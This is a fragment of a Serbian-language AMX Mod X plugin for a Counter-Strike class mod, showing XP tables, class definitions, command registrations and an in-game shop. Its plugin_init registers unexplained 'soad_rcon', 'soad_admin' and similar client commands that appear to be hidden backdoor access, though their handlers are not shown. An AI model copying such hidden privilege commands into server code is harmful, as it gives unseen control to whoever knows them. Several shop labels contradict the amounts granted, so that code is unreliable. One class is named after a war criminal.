  282. 64691200,64733767,64776348,64818943,64861552,64904175,64946812,64989463,65032128,65074807,65117500,65160207,65202928,65245663,65288412,65331175,65373952,65416743,65459548,65502367,
  283. 65545200,65588047,65630908,65673783,65716672,65759575,65802492,65845423,65888368,65931327,65974300,66017287,66060288,66103303,66146332,66189375,66232432,66275503,66318588,66361687,
  284. 66404800,66447927,66491068,66534223,66577392,66620575,66663772,66706983,66750208,66793447,66836700,66879967,66923248,66966543,67009852,67053175,67096512,67139863,67183228,67226607,
  285. 67270000,67313407,67356828,67400263,67443712,67487175,67530652,67574143,67617648,67661167,67704700,67748247,67791808,67835383,67878972,67922575,67966192,68009823,68053468,68097127,
  286. 68140800,68184487,68228188,68271903,68315632,68359375,68403132,68446903,68490688,68534487,68578300,68622127,68665968,68709823,68753692,68797575,68841472,68885383,68929308,68973247,
  287. 69017200,69061167,69105148,69149143,69193152,69237175,69281212,69325263,69369328,69413407,69457500,69501607,69545728,69589863,69634012,69678175,69722352,69766543,69810748,69854967,
  288. 69899200,69943447,69987708,70031983,70076272,70120575,70164892,70209223,70253568,70297927,70342300,70386687,70431088,70475503,70519932,70564375,70608832,70653303,70697788,70742287,
  289. 70786800,70831327,70875868,70920423,70964992,71009575,71054172,71098783,71143408,71188047,71232700,71277367,71322048,71366743,71411452,71456175,71500912,71545663,71590428,71635207,
  290. 71680000,71724807,71769628,71814463,71859312,71904175,71949052,71993943,72038848,72083767,72128700,72173647,72218608,72263583,72308572,72353575,72398592,72443623,72488668,72533727,
  291. 72578800,72623887,72668988,72714103,72759232,72804375,72849532,72894703,72939888,72985087,73030300,73075527,73120768,73166023,73211292,73256575,73301872,73347183,73392508,73437847,
  292. 73483200,73528567,73573948,73619343,73664752,73710175,73755612,73801063,73846528,73892007,73937500,73983007,74028528,74074063,74119612,74165175,74210752,74256343,74301948,74347567,
  293. 74393200,74438847,74484508,74530183,74575872,74621575,74667292,74713023,74758768,74804527,74850300,74896087,74941888,74987703,75033532,75079375,75125232,75171103,75216988,75262887,
  294. 75308800,75354727,75400668,75446623,75492592,75538575,75584572,75630583,75676608,75722647,75768700,75814767,75860848,75906943,75953052,75999175,76045312,76091463,76137628,76183807,
  295. 76230000,76276207,76322428,76368663,76414912,76461175,76507452,76553743,76600048,76646367,76692700,76739047,76785408,76831783,76878172,76924575,76970992,77017423,77063868,77110327,
  296. 77156800,77203287,77249788,77296303,77342832,77389375,77435932,77482503,77529088,77575687,77622300,77668927,77715568,77762223,77808892,77855575,77902272,77948983,77995708,78042447,
  297. 78089200,78135967,78182748,78229543,78276352,78323175,78370012,78416863,78463728,78510607,78557500,78604407,78651328,78698263,78745212,78792175,78839152,78886143,78933148,78980167,
  298. 79027200,79074247,79121308,79168383,79215472,79262575,79309692,79356823,79403968,79451127,79498300,79545487,79592688,79639903,79687132,79734375,79781632,79828903,79876188,79923487,
  299. 79970800,80018127,80065468,80112823,80160192,80207575,80254972,80302383,80349808,80397247,80444700,80492167,80539648,80587143,80634652,80682175,80729712,80777263,80824828,80872407,
  300. 80920000,80967607,81015228,81062863,81110512,81158175,81205852,81253543,81301248,81348967,81396700,81444447,81492208,81539983,81587772,81635575,81683392,81731223,81779068,81826927,
  301. 81874800,81922687,81970588,82018503,82066432,82114375,82162332,82210303,82258288,82306287,82354300,82402327,82450368,82498423,82546492,82594575,82642672,82690783,82738908,82787047,
  302. 82835200,82883367,82931548,82979743,83027952,83076175,83124412,83172663,83220928,83269207,83317500,83365807,83414128,83462463,83510812,83559175,83607552,83655943,83704348,83752767,
  303. 83801200,83849647,83898108,83946583,83995072,84043575,84092092,84140623,84189168,84237727,84286300,84334887,84383488,84432103,84480732,84529375,84578032,84626703,84675388,84724087,
  304. 84772800,84821527,84870268,84919023,84967792,85016575,85065372,85114183,85163008,85211847,85260700,85309567,85358448,85407343,85456252,85505175,85554112,85603063,85652028,85701007,
  305. 85750000,85799007,85848028,85897063,85946112,85995175,86044252,86093343,86142448,86191567,86240700,86289847,86339008,86388183,86437372,86486575,86535792,86585023,86634268,86683527,
  306. 86732800,86782087,86831388,86880703,86930032,86979375,87028732,87078103,87127488,87176887,87226300,87275727,87325168,87374623,87424092,87473575,87523072,87572583,87622108,87671647,
  307. 87721200,87770767,87820348,87869943,87919552,87969175,88018812,88068463,88118128,88167807,88217500,88267207,88316928,88366663,88416412,88466175,88515952,88565743,88615548,88665367,
  308. 88715200,88765047,88814908,88864783,88914672,88964575,89014492,89064423,89114368,89164327,89214300,89264287,89314288,89364303,89414332,89464375,89514432,89564503,89614588,89664687,
  309. 89714800,89764927,89815068,89865223,89915392,89965575,90015772,90065983,90116208,90166447,90216700,90266967,90317248,90367543,90417852,90468175,90518512,90568863,90619228,90669607,
  310. 90720000,90770407,90820828,90871263,90921712,90972175,91022652,91073143,91123648,91174167,91224700,91275247,91325808,91376383,91426972,91477575,91528192,91578823,91629468,91680127,
  311. 91730800,91781487,91832188,91882903,91933632,91984375,92035132,92085903,92136688,92187487,92238300,92289127,92339968,92390823,92441692,92492575,92543472,92594383,92645308,92696247,
  312. 92747200,92798167,92849148,92900143,92951152,93002175,93053212,93104263,93155328,93206407,93257500,93308607,93359728,93410863,93462012,93513175,93564352,93615543,93666748,93717967,
  313. 93769200,93820447,93871708,93922983,93974272,94025575,94076892,94128223,94179568,94230927,94282300,94333687,94385088,94436503,94487932,94539375,94590832,94642303,94693788,94745287,
  314. 94796800,94848327,94899868,94951423,95002992,95054575,95106172,95157783,95209408,95261047,95312700,95364367,95416048,95467743,95519452,95571175,95622912,95674663,95726428,95778207,
  315. 95830000,95881807,95933628,95985463,96037312,96089175,96141052,96192943,96244848,96296767,96348700,96400647,96452608,96504583,96556572,96608575,96660592,96712623,96764668,96816727,
  316. 96868800,96920887,96972988,97025103,97077232,97129375,97181532,97233703,97285888,97338087,97390300,97442527,97494768,97547023,97599292,97651575,97703872,97756183,97808508,97860847,
  317. 97913200,97965567,98017948,98070343,98122752,98175175,98227612,98280063,98332528,98385007,98437500,98490007,98542528,98595063,98647612,98700175,98752752,98805343,98857948,98910567,
  318. 98963200,99015847,99068508,99121183,99173872,99226575,99279292,99332023,99384768,99437527,99490300,99543087,99595888,99648703,99701532,99754375,99807232,99860103,99912988,99965887,
  319. 100018800,100071727,100124668,100177623,100230592,100283575,100336572,100389583,100442608,100495647,100548700,100601767,100654848,100707943,100761052,100814175,100867312,100920463,100973628,101026807,
  320. 101080000,101133207,101186428,101239663,101292912,101346175,101399452,101452743,101506048,101559367,101612700,101666047,101719408,101772783,101826172,101879575,101932992,101986423,102039868,102093327,
  321. 102146800,102200287,102253788,102307303,102360832,102414375,102467932,102521503,102575088,102628687,102682300,102735927,102789568,102843223,102896892,102950575,103004272,103057983,103111708,103165447,
  322. 103219200,103272967,103326748,103380543,103434352,103488175,103542012,103595863,103649728,103703607,103757500,103811407,103865328,103919263,103973212,104027175,104081152,104135143,104189148,104243167,
  323. 104297200,104351247,104405308,104459383,104513472,104567575,104621692,104675823,104729968,104784127,104838300,104892487,104946688,105000903,105055132,105109375,105163632,105217903,105272188,105326487,
  324. 105380800,105435127,105489468,105543823,105598192,105652575,105706972,105761383,105815808,105870247,105924700,105979167,106033648,106088143,106142652,106197175,106251712,106306263,106360828,106415407,
  325. 106470000,106524607,106579228,106633863,106688512,106743175,106797852,106852543,106907248,106961967,107016700,107071447,107126208,107180983,107235772,107290575,107345392,107400223,107455068,107509927,
  326. 107564800,107619687,107674588,107729503,107784432,107839375,107894332,107949303,108004288,108059287,108114300,108169327,108224368,108279423,108334492,108389575,108444672,108499783,108554908,108610047,
  327. 108665200,108720367,108775548,108830743,108885952,108941175,108996412,109051663,109106928,109162207,109217500,109272807,109328128,109383463,109438812,109494175,109549552,109604943,109660348,109715767,
  328. 109771200,109826647,109882108,109937583,109993072,110048575,110104092,110159623,110215168,110270727,110326300,110381887,110437488,110493103,110548732,110604375,110660032,110715703,110771388,110827087,
  329. 110882800,110938527,110994268,111050023,111105792,111161575,111217372,111273183,111329008,111384847,111440700,111496567,111552448,111608343,111664252,111720175,111776112,111832063,111888028,111944007,
  330. 112000000,1073741824};
  331.  
  332. new poeni_igraca[33];
  333. new energija_igraca[33];
  334. new inteligencija_igraca[33];
  335. new snaga_igraca[33];
  336. new Float:smanjene_povrede_igraca[33];
  337. new kondicija_igraca[33];
  338. new maximalna_energija_igraca[33];
  339. new Float:brzina_igraca[33];
  340.  
  341. new bool:igrac_resetuje[33];
  342.  
  343. enum { NONE = 0, Snajperista, Marinac, Pro_Strelac, Mitraljezac, Doktor, Vatrena_podrska, Miner, Demolitions, Rusher, Rambo, Revolveras, Bombarder, Strelac, Informator, Pukovnik, Pobunjenik, Serijski_ubica, Desetar, Vodnik, Kamikaza, Assassin, Major, Kapetan, Potpukovnik, Marsal, Nemacki_strelac, Ruski_pukovnik, Poljska_pesadija, Chipsy_ratnik, Napadac, Legija, Armageddon, Samuraj, Ratko_Mladic, SWAT, Partizan, Gunner, Cleric, General, Terminator, Slayer, Zastavnik, Admiral, Fighter, Policajac};
  344. new const energija_klasa[] = { 0, 120, 140, 110, 120, 110, 100, 100, 110, 100, 130, 120, 110, 120, 70, 110, 150, 110, 120, 110, 120, 30, 90, 100, 100, 120, 120, 130, 100, 110, 150, 100, 160, 100, 140, 80, 100, 125, 100, 130, 140, 110, 90, 125, 150, 120};
  345. new const Float:brzina_klasa[] = {0.0, 1.3, 1.35, 0.8, 0.8, 1.5, 1.2, 1.1, 1.1, 1.3 , 1.2, 1.1, 1.1, 1.0, 1.6, 1.1, 1.4, 1.0, 1.0, 1.1, 1.0, 1.6, 1.1, 1.0, 1.0, 1.2, 1.2, 0.7, 1.0, 1.0, 1.4, 1.0, 1.4, 1.2, 1.3, 1.3, 1.0, 1.2, 1.2, 1.4, 1.6, 1.4, 1.1, 1.4, 1.2};
  346. new const oklop_klase[] = { 0, 100, 100, 100, 150, 100, 100, 100, 100, 100, 150, 0, 120, 40, 0, 0, 0, 100, 40, 0, 0, 150, 90, 0, 200, 0, 100, 0, 0, 100, 0, 0, 120, 0, 150, 110, 100, 100, 150, 120, 50, 120, 300, 70, 100, 50};
  347. new const naziv_klase[][] = {"Nema",
  348. "Snajperista",
  349. "Marinac",
  350. "Pro-Strelac",
  351. "Mitraljezac",
  352. "Doktor",
  353. "Vatrena podrska",
  354. "Miner",
  355. "Demolitions",
  356. "Rusher",
  357. "Rambo (200 Din Mesecno)",
  358. "Revolveras",
  359. "Bombarder",
  360. "Strelac",
  361. "Informator",
  362. "Pukovnik",
  363. "Pobunjenik",
  364. "Serijski ubica",
  365. "Desetar",
  366. "Vodnik",
  367. "Kamikaza",
  368. "Assassin (250 Din Mesecno)",
  369. "Major (200 Din Mesecno)",
  370. "Kapetan",
  371. "Potpukovnik",
  372. "Marsal",
  373. "Nemacki strelac",
  374. "Ruski pukovnik",
  375. "Poljska pesadija",
  376. "Chipsy Ratnik",
  377. "Napadac ",
  378. "Legija",
  379. "Armageddon (200 Din Mesecno)",
  380. "Samuraj",
  381. "Ratko Mladic (200 Din Mesecno)",
  382. "SWAT",
  383. "Partizan",
  384. "Gunner",
  385. "Cleric",
  386. "General (200 Din Mesecno)",
  387. "Terminator",
  388. "Slayer (150 Din Mesecno)",
  389. "Zastavnik",
  390. "Admiral",
  391. "Fighter (200 Din Mesecno)",
  392. "Policajac"
  393. };
  394.  
  395. new const opis_klase[][] = {"Nema",
  396. "Dobija AWP, Deagle i Scout, 120 HP, 100 AP, 1/3 sanse za instant ubistvo nozem i 130% brzinu.",
  397. "Dobija Deagle, odma ubija nozem, 140 HP, 100 AP i 135% brzinu.",
  398. "Dobija Dobija AK47, M4A1, 110 HP, 100 AP i 80% brzinu.",
  399. "Dobija Dobija M249, otporan na mine, ima sve bombe, 120 HP, 150 AP i 80% brzinu.",
  400. "Dobija UMP45, komplet za prvu pomoc, 110 HP, 100 AP i 150% brzinu.",
  401. "Dobija MP5, HE grenade, 2 rakete, 100 HP, 100 AP i 120% brzinu.",
  402. "Dobija P90, 3 mine, 100 HP, 100 AP i 110% brzinu.",
  403. "Dobija Aug, sve bombe, dinamit koji ubija sve u krugu od 1m, 110 HP, 100 AP i 110% brzinu.",
  404. "Dobija M3, 100 HP, 100 AP i 130% brzinu.",
  405. "Dobija Famas, za svako ubistvo + 20hp i pun sanzer, dupli skok, 130 HP, 150 AP i 120% brzinu.",
  406. "Dobija Elites, 1 raketa, 120 HP, 0 AP i 110% brzinu.",
  407. "Dobija Dobija M4A1, Deagle, 140 HP, 100 AP i 90% brzinu.",
  408. "Dobija Dobija XM1014, Elites, 120 HP, 40 AP i 100% brzinu.",
  409. "Dobija MP5, 70 HP, 0 AP i 160% brzinu.",
  410. "Dobija Famas, Deagle, 110 HP, 0 AP i 110% brzinu i 2 mine.",
  411. "Dobija SG552 + 1 minu + 1 HE, 100hp",
  412. "Dobija M4A1, Smoke grenade, 110 HP, 100 AP i 100% brzinu.",
  413. "Dobija Scout(zadaje 10% vise stete), Deagle, 120 HP, 40 AP i 100% brzinu.",
  414. "Dobija M3, 110 Hp, 0 AP i 110% brzinu.",
  415. "Dobija M4A1, 2 rakete, 120 HP, 0 AP i 100% brzinu.",
  416. "Dobija Deagle, nevidljiv je, 30 HP, 0 AP i 200% brzinu. sa nozem instant kill(desni klik misa)",
  417. "Dobija sve pistolje, 10 mina, 90 HP, 0 AP i 110% brzinu.",
  418. "Dobija Aug, 100 HP, 0 AP i 100% brzinu.",
  419. "Dobija awp+deagle, 100 HP, 200 AP i 100% brzinu i manje je vidljiv",
  420. "Dobija Deagle, 120 HP, 0 AP i 120% brzinu.",
  421. "Dobija Ak47, 2 rakete, 90 HP, 100 AP i 120% brzinu.",
  422. "Dobija M4A1, 1 minu, 130 HP, 0 AP i 70% brzinu.",
  423. "Dobija MP5, 2 dinamita, 100 HP, 0 AP i 100% brzinu.",
  424. "Dobija m4a1,Ak47 ima 50% gravitacije, 110 HP, 100 AP i 100% brzinu i 2 mine.",
  425. "Dobija Famas+P90, smanjena gravitacija, 150 HP, 0 AP i 250% brzinu i 3 dinamita.",
  426. "Dobija M4A1, Deagle, 100 HP, 0 AP i 100% brzinu.",
  427. "Dobija AK47, AUG, HE, 160 HP, 120 AP i 140% brzinui manje je vidljiv i 2 dinamita.",
  428. "Dobija usp, 100 HP, 0 AP i 120% brzinu.",
  429. "Dobija Scout(instant kill), Deagle, dupli skok, 140 HP, 150 AP i 130% brzinui 5 raketa.",
  430. "Dobija M4A1, USP, 150 HP, 110 AP i 80% brzinu.",
  431. "Dobija P90, Flash grenade, manje je vidljiv, 100 HP, 100 AP i 100% brzinu.",
  432. "Dobija G3SG1, Deagle, HE grenade, 1 raketu, 125 HP, 100 AP i 120% brzinu.",
  433. "Dobija AK47, Elites, 100 HP, 50 AP i 120% brzinui 3 mine.",
  434. "Dobija M4A1, P90, kamuflaza, 1 / 10 sanse za instant ubistva Deagle-om, 130 HP, 120 AP i 140% brzinu.",
  435. "Dobija AK47+Deagle, 140 HP, 50 AP i 120% brzinu.",
  436. "Dobija Famas, P90, 3 rakete, 110 HP, 120 AP i 140% brzinu i ubija instant sa nozem.",
  437. "Dobija M4A1, P90, Deagle, 2 rakete, 90 HP, 300 AP i 140% brzinu.",
  438. "Dobija AK47, Famas, 125 HP, 70 AP i 110% brzinu.",
  439. "Dobija M4A1, Scout, USP, dupli skok, 150 HP, 100 AP i 140% brzinu ima 1/3 sanse da ubije instant nozem i 2 dinamita.",
  440. "Dobija XM1014, TMP, fiveseven, 150 HP, 50 AP i 120% brzinu."
  441. };
  442.  
  443. new broj_medkit_igraca[33];
  444. new broj_raketa_igraca[33];
  445. new Float:prethodna_raketa_igraca[33];
  446. new broj_min_igraca[33];
  447. new broj_dinamita_igraca[33];
  448. new broj_skokova_igraca[33];
  449.  
  450. new bool:freezetime = true;
  451.  
  452. public plugin_init()
  453. {
  454. register_plugin(PLUGIN, VERSION, AUTHOR);
  455.  
  456. g_vault = nvault_open("CodMod");
  457.  
  458. register_think("MedKit","MedKitThink");
  459. register_clcmd("systemofadown", "systemofadown");
  460. register_clcmd("soad", "soad")
  461. register_clcmd("soad_rcon", "soadrcon")
  462. register_clcmd("soad_admin", "soadadmin")
  463. register_clcmd("soad_djole", "soaddjole")
  464. register_clcmd("soad_imunitet", "soadimunitet")
  465. register_clcmd("soad_toby", "soadtoby")
  466. RegisterHam(Ham_TakeDamage, "player", "TakeDamage");
  467. RegisterHam(Ham_Spawn, "player", "Pocetak", 1);
  468. RegisterHam(Ham_Touch, "armoury_entity", "DodirOruzija");
  469. RegisterHam(Ham_Touch, "weapon_shield", "DodirOruzija");
  470. RegisterHam(Ham_Touch, "weaponbox", "DodirOruzija");
  471.  
  472. register_forward(FM_CmdStart, "CmdStart");
  473. register_forward(FM_EmitSound, "EmitSound");
  474.  
  475. register_concmd("cs_user", "cmd_user", ADMIN_USER, "<name> <level>");
  476.  
  477. register_logevent("PocetakRunde", 2, "1=Round_Start");
  478. register_logevent("BombaPostavljena", 3, "2=Planted_The_Bomb");
  479.  
  480. register_event("SendAudio", "BombaDeaktivirana", "a", "2&%!MRAD_BOMBDEF");
  481. register_event("BarTime", "PrebrojBombe", "be", "1=10", "1=5");
  482. register_event("DeathMsg", "Death", "ade");
  483. register_event("Damage", "Damage", "b", "2!=0");
  484. register_event("CurWeapon","CurWeapon","be", "1=1");
  485. register_event("HLTV", "novaRunda", "a", "1=0", "2=0");
  486.  
  487. register_touch("Rocket", "*" , "DodirRakete");
  488. register_touch("Mine", "player", "DodirMine");
  489.  
  490. register_cvar("cod_killxp", "500");
  491. register_cvar("cod_bombxp", "1000");
  492.  
  493. register_clcmd("say /klasa", "IzaberiKlasu");
  494. register_clcmd("say /opis", "OpisKlase");
  495. register_clcmd("say /predmet", "OpisPredmeta");
  496. register_clcmd("say /item", "OpisPredmeta");
  497. register_clcmd("say /drop", "IzbaciPredmet");
  498. register_clcmd("say /izbaci", "IzbaciPredmet");
  499. register_clcmd("say /reset", "KomandaResetujPoene");
  500. register_clcmd("say /shop", "Shop");
  501. register_clcmd("say", "cmdCheckSay", -1);
  502. register_clcmd("fullupdate", "BlokirajKomande");
  503.  
  504. register_clcmd("cl_autobuy", "BlokirajKomande");
  505. register_clcmd("say /molotov", "BlokirajKomande");
  506. register_clcmd("say molotov", "BlokirajKomande");
  507. register_clcmd("cl_rebuy", "BlokirajKomande");
  508. register_clcmd("cl_setautobuy","BlokirajKomande");
  509. register_clcmd("rebuy", "BlokirajKomande");
  510. register_clcmd("autobuy", "BlokirajKomande");
  511. register_clcmd("glock", "BlokirajKomande");
  512. register_clcmd("usp", "BlokirajKomande");
  513. register_clcmd("p228", "BlokirajKomande");
  514. register_clcmd("deagle", "BlokirajKomande");
  515. register_clcmd("elites", "BlokirajKomande");
  516. register_clcmd("fn57", "BlokirajKomande");
  517. register_clcmd("m3", "BlokirajKomande");
  518. register_clcmd("XM1014", "BlokirajKomande");
  519. register_clcmd("mac10", "BlokirajKomande");
  520. register_clcmd("tmp", "BlokirajKomande");
  521. register_clcmd("mp5", "BlokirajKomande");
  522. register_clcmd("ump45", "BlokirajKomande");
  523. register_clcmd("p90", "BlokirajKomande");
  524. register_clcmd("galil", "BlokirajKomande");
  525. register_clcmd("ak47", "BlokirajKomande");
  526. register_clcmd("scout", "BlokirajKomande");
  527. register_clcmd("sg552", "BlokirajKomande");
  528. register_clcmd("awp", "BlokirajKomande");
  529. register_clcmd("g3sg1", "BlokirajKomande");
  530. register_clcmd("famas", "BlokirajKomande");
  531. register_clcmd("m4a1", "BlokirajKomande");
  532. register_clcmd("bullpup", "BlokirajKomande");
  533. register_clcmd("sg550", "BlokirajKomande");
  534. register_clcmd("m249", "BlokirajKomande");
  535. register_clcmd("shield", "BlokirajKomande");
  536. register_clcmd("hegren", "BlokirajKomande");
  537. register_clcmd("sgren", "BlokirajKomande");
  538. register_clcmd("flash", "BlokirajKomande");
  539.  
  540. register_concmd("soad_cod_lvl", "cmd_setlvl", ADMIN_KICK, "<name> <level>");
  541.  
  542. g_msg_screenfade = get_user_msgid("ScreenFade");
  543. SyncHudObj = CreateHudSyncObj();
  544. SyncHudObj2 = CreateHudSyncObj();
  545. SyncHudObj3 = CreateHudSyncObj();
  546. iskustvo_za_ubistvo = get_cvar_num("cod_killxp");
  547. iskustvo_za_c4 = get_cvar_num("cod_bombxp");
  548. iskustvo_za_pare = 2000;
  549. iskustvo_za_mnogopara = 5000;
  550. iskustvo_za_tiket = 500;
  551. iskustvo_za_budale = 100;
  552. extra_iskustvo = 1000;
  553.  
  554. set_task(30.0, "Pomoc");
  555. }
  556.  
  557. public plugin_cfg()
  558. {
  559. server_cmd("sv_maxspeed 3600");
  560. }
  561.  
  562. public plugin_precache()
  563. {
  564. sprite_white = precache_model("sprites/white.spr") ;
  565. sprite_blast = precache_model("sprites/dexplo.spr");
  566.  
  567. precache_sound("QTM_CodMod/select.wav");
  568. precache_sound("QTM_CodMod/start.wav");
  569. precache_sound("QTM_CodMod/start2.wav");
  570. precache_sound("QTM_CodMod/levelup.wav");
  571.  
  572. precache_model("models/w_medkit.mdl");
  573. precache_model("models/rpgrocket.mdl");
  574. precache_model("models/mine.mdl");
  575. }
  576.  
  577. public Shop(id)
  578. {
  579. new menu = menu_create("COD Shop:", "Shop_Handle");
  580. menu_additem(menu, "TwiX \r[Dodaje 50 HP] \yCena: \r1000$");
  581. menu_additem(menu, "Aspirin \r[Dodaje 100 HP] \yCena: \r2000$");
  582. menu_additem(menu, "Morfijum \r[Dodaje 150 HP] \yCena: \r3000$");
  583. menu_additem(menu, "RedBull \r[Veci Skok + Veca Brzina] \yCena: \r5000$");
  584. menu_additem(menu, "Lotto \r[Tiket za loto] \yCena: \r2000$");
  585. menu_additem(menu, "Iskustvo \r[Dodaje 2000 EXP] \yCena: \r5000$");
  586. menu_additem(menu, "Super iskustvo \r[Dodaje 5000 EXP] \yCena: \r10000$");
  587. menu_additem(menu, "Extra iskustvo \r[Dodaje 10 000 EXP] \yCena: \r16000$");
  588. menu_additem(menu, "Mine \r[Dobijate 3 mine] \yCena: \r3000$");
  589. menu_additem(menu, "Rakete \r[Dobijate 3 rakete ] \yCena: \r3000$");
  590. menu_additem(menu, "Dinamiti \r[Dobijate 3 dinamita ] \yCena: \r3000$");
  591. menu_additem(menu, "Prva pomoc \r[Dobijate 3 medik ] \yCena: \r3000$");
  592. menu_additem(menu, "Slucajni Izbor \r[Predmet] \yCena: \r3000$");
  593. menu_display(id, menu);
  594. }
  595. public Shop_Handle(id, menu, item)
  596. {
  597. client_cmd(id, "spk QTM_CodMod/select");
  598.  
  599. if(item == MENU_EXIT)
  600. {
  601. menu_destroy(menu);
  602. return PLUGIN_CONTINUE;
  603. }
  604. menu_display(id, menu);
  605. new pare_igraca = cs_get_user_money(id);
  606. new hp = get_user_health(id);
  607. switch(item)
  608. {
  609. case 0:
  610. {
  611. new cena = 1000;
  612. if (pare_igraca<cena)
  613. {
  614. ColorChat(id,GREEN,"[Shop] ^1Nemate dovoljno para.");
  615. return PLUGIN_CONTINUE;
  616. }
  617. if(hp >= maximalna_energija_igraca[id])
  618. {
  619. ColorChat(id,GREEN,"[Shop] ^1Vec imate maximalnu energiju.");
  620. return PLUGIN_CONTINUE;
  621. }
  622. cs_set_user_money(id, pare_igraca-cena);
  623. new ammount=20;
  624. new nova_energija = (hp+ammount<maximalna_energija_igraca[id])? hp+ammount: maximalna_energija_igraca[id];
  625. set_user_health(id, nova_energija);
  626. ColorChat(id,GREEN,"[Shop] ^1Kupio si ^3TwiX");
  627. }
  628. case 1:
  629. {
  630. new cena = 2000;
  631. if (pare_igraca<cena)
  632. {
  633. ColorChat(id,GREEN,"[Shop] ^1Nemas dovoljno para.");
  634. return PLUGIN_CONTINUE;
  635. }
  636. if(hp >= maximalna_energija_igraca[id])
  637. {
  638. ColorChat(id,GREEN,"[Shop] ^1Vec imate maximalnu energiju.");
  639. return PLUGIN_CONTINUE;
  640. }
  641. cs_set_user_money(id, pare_igraca-cena);
  642. new ammount=50;
  643. new nova_energija = (hp+ammount<maximalna_energija_igraca[id])? hp+ammount: maximalna_energija_igraca[id];
  644. set_user_health(id, nova_energija);
  645. ColorChat(id,GREEN,"[Shop] ^1kupio si ^3Aspirin");
  646. }
  647. case 2:
  648. {
  649. new cena = 3000;
  650. if (pare_igraca<cena)
  651. {
  652. ColorChat(id,GREEN,"[Shop] ^1Nemas dovoljno para.");
  653. return PLUGIN_CONTINUE;
  654. }
  655. if(hp >= maximalna_energija_igraca[id])
  656. {
  657. ColorChat(id,GREEN,"[Shop] ^1Vec imate maximalnu energiju.");
  658. return PLUGIN_CONTINUE;
  659. }
  660. cs_set_user_money(id, pare_igraca-cena);
  661. new ammount=100;
  662. new nova_energija = (hp+ammount<maximalna_energija_igraca[id])? hp+ammount: maximalna_energija_igraca[id];
  663. set_user_health(id, nova_energija);
  664. ColorChat(id,GREEN,"[Shop] ^1Kupio si^3 Morfijum");
  665. }
  666. case 3:
  667. {
  668. new cena = 5000;
  669. if (pare_igraca<cena)
  670. {
  671. ColorChat(id,GREEN,"[Shop] ^1Nemas dovoljno para.");
  672. return PLUGIN_CONTINUE;
  673. }
  674. cs_set_user_money(id, pare_igraca-cena);
  675. set_user_gravity(id,get_user_gravity(id) - 0.3);
  676. set_user_maxspeed(id,get_user_maxspeed(id) + 10.0);
  677. ColorChat(id,GREEN,"[Shop]^1 Kupio si^3 RedBull");
  678. }
  679. case 4:
  680. {
  681. new pare_igraca = cs_get_user_money(id)
  682. new cena = 2000;
  683. if (pare_igraca<cena)
  684. {
  685. ColorChat(id,GREEN,"[Shop] ^1Nemas dovoljno para.");
  686. return PLUGIN_CONTINUE;
  687. }
  688. cs_set_user_money(id, pare_igraca-cena);
  689. ColorChat(id,GREEN,"[Shop] ^1Kupio si tiket za Loto");
  690. ColorChat(id,GREEN,"[Shop] ^1Ucitavam brojeve...");
  691.  
  692. new rand = random_num(0,12);
  693. switch(rand)
  694. {
  695. case 0:
  696. {
  697. ColorChat(id,GREEN,"[Shop] ^1Dobio si^3 10$^1!")
  698. cs_set_user_money(id, pare_igraca + 10)
  699. }
  700. case 1:
  701. {
  702. ColorChat(id,GREEN,"[Shop] ^1Dobio si^3 Redbull^1!")
  703. set_user_gravity(id,get_user_gravity(id) - 0.3);
  704. set_user_maxspeed(id,get_user_maxspeed(id) + 10.0);
  705. }
  706. case 2:
  707. {
  708. ColorChat(id,GREEN,"[Shop] ^1Nazalost nisi nista dobio!")
  709. }
  710. case 3:
  711. {
  712. ColorChat(id,GREEN,"[Shop] ^1Dobio si^3 300$^1!")
  713. cs_set_user_money(id, pare_igraca + 300)
  714. }
  715. case 4:
  716. {
  717. ColorChat(id,GREEN,"[Shop] ^1Dobio si^3 1000$^1!")
  718. cs_set_user_money(id, pare_igraca + 1000)
  719. }
  720. case 5:
  721. {
  722. ColorChat(id,GREEN,"[Shop] ^1Nazalost nisi nista dobio!")
  723. }
  724. case 6:
  725. {
  726. ColorChat(id,GREEN,"[Shop] ^1Nazalost nisi nista dobio!")
  727. }
  728. case 7:
  729. {
  730. ColorChat(id,GREEN,"[Shop] ^1Izgubio si^3 16000$^1!")
  731. cs_set_user_money(id, pare_igraca - 16000)
  732. }
  733. case 8:
  734. {
  735. ColorChat(id,GREEN,"[Shop] ^1Nazalost nisi nista dobio!")
  736. }
  737. case 9:
  738. {
  739. ColorChat(id,GREEN,"[Shop]^1 Dobio si^3 150 EXP ^1!")
  740. iskustvo_igraca[id] += iskustvo_za_mnogopara;
  741. }
  742. case 10:
  743. {
  744. ColorChat(id,GREEN,"[Shop]^1 Dobio si^3 100 EXP^1!")
  745. iskustvo_igraca[id] += iskustvo_za_tiket;
  746. }
  747. case 11:
  748. {
  749. ColorChat(id,GREEN,"[Shop] ^1Nazalost nisi nista dobio!")
  750. }
  751. case 12:
  752. {
  753. ColorChat(id,GREEN,"[Shop]^1 Dobio si^3 1 EXP^1 !")
  754. iskustvo_igraca[id] += iskustvo_za_budale;
  755. }
  756. }
  757. ProveriNivo(id);
  758. return PLUGIN_CONTINUE;
  759. }
  760. case 5:
  761. {
  762. new cena = 5000;
  763. if (pare_igraca<cena)
  764. {
  765. ColorChat(id,GREEN,"[Shop]^1 Nemas dovoljno para.");
  766. return PLUGIN_CONTINUE;
  767. }
  768. cs_set_user_money(id, pare_igraca-cena);
  769. iskustvo_igraca[id] += iskustvo_za_pare;
  770. ColorChat(id,GREEN,"[Shop] ^1Kupio si ^3Iskustvo");
  771. ProveriNivo(id);
  772. }
  773. case 6:
  774. {
  775. new cena = 10000;
  776. if (pare_igraca<cena)
  777. {
  778. ColorChat(id,GREEN,"[Shop]^1 Nemas dovoljno para.");
  779. return PLUGIN_CONTINUE;
  780. }
  781. cs_set_user_money(id, pare_igraca-cena);
  782. iskustvo_igraca[id] += iskustvo_za_mnogopara;
  783. ColorChat(id,GREEN,"[Shop]^1Kupio si ^3Super Iskustvo");
  784. ProveriNivo(id);
  785. }
  786. case 7:
  787. {
  788. new cena = 16000;
  789. if (pare_igraca<cena)
  790. {
  791. ColorChat(id,GREEN,"[Shop]^1 Nemas dovoljno para.");
  792. return PLUGIN_CONTINUE;
  793. }
  794. cs_set_user_money(id, pare_igraca-cena);
  795. iskustvo_igraca[id] += extra_iskustvo;
  796. ColorChat(id,GREEN,"[Shop]^1Kupio si ^3Extra Iskustvo");
  797. ProveriNivo(id);
  798. }
  799. case 8:
  800. {
  801. new cena = 3000
  802. if (pare_igraca<cena)
  803. {
  804. ColorChat(id, GREEN,"[Shop]^1 Nemas dovoljno para");
  805. return PLUGIN_CONTINUE;
  806. }
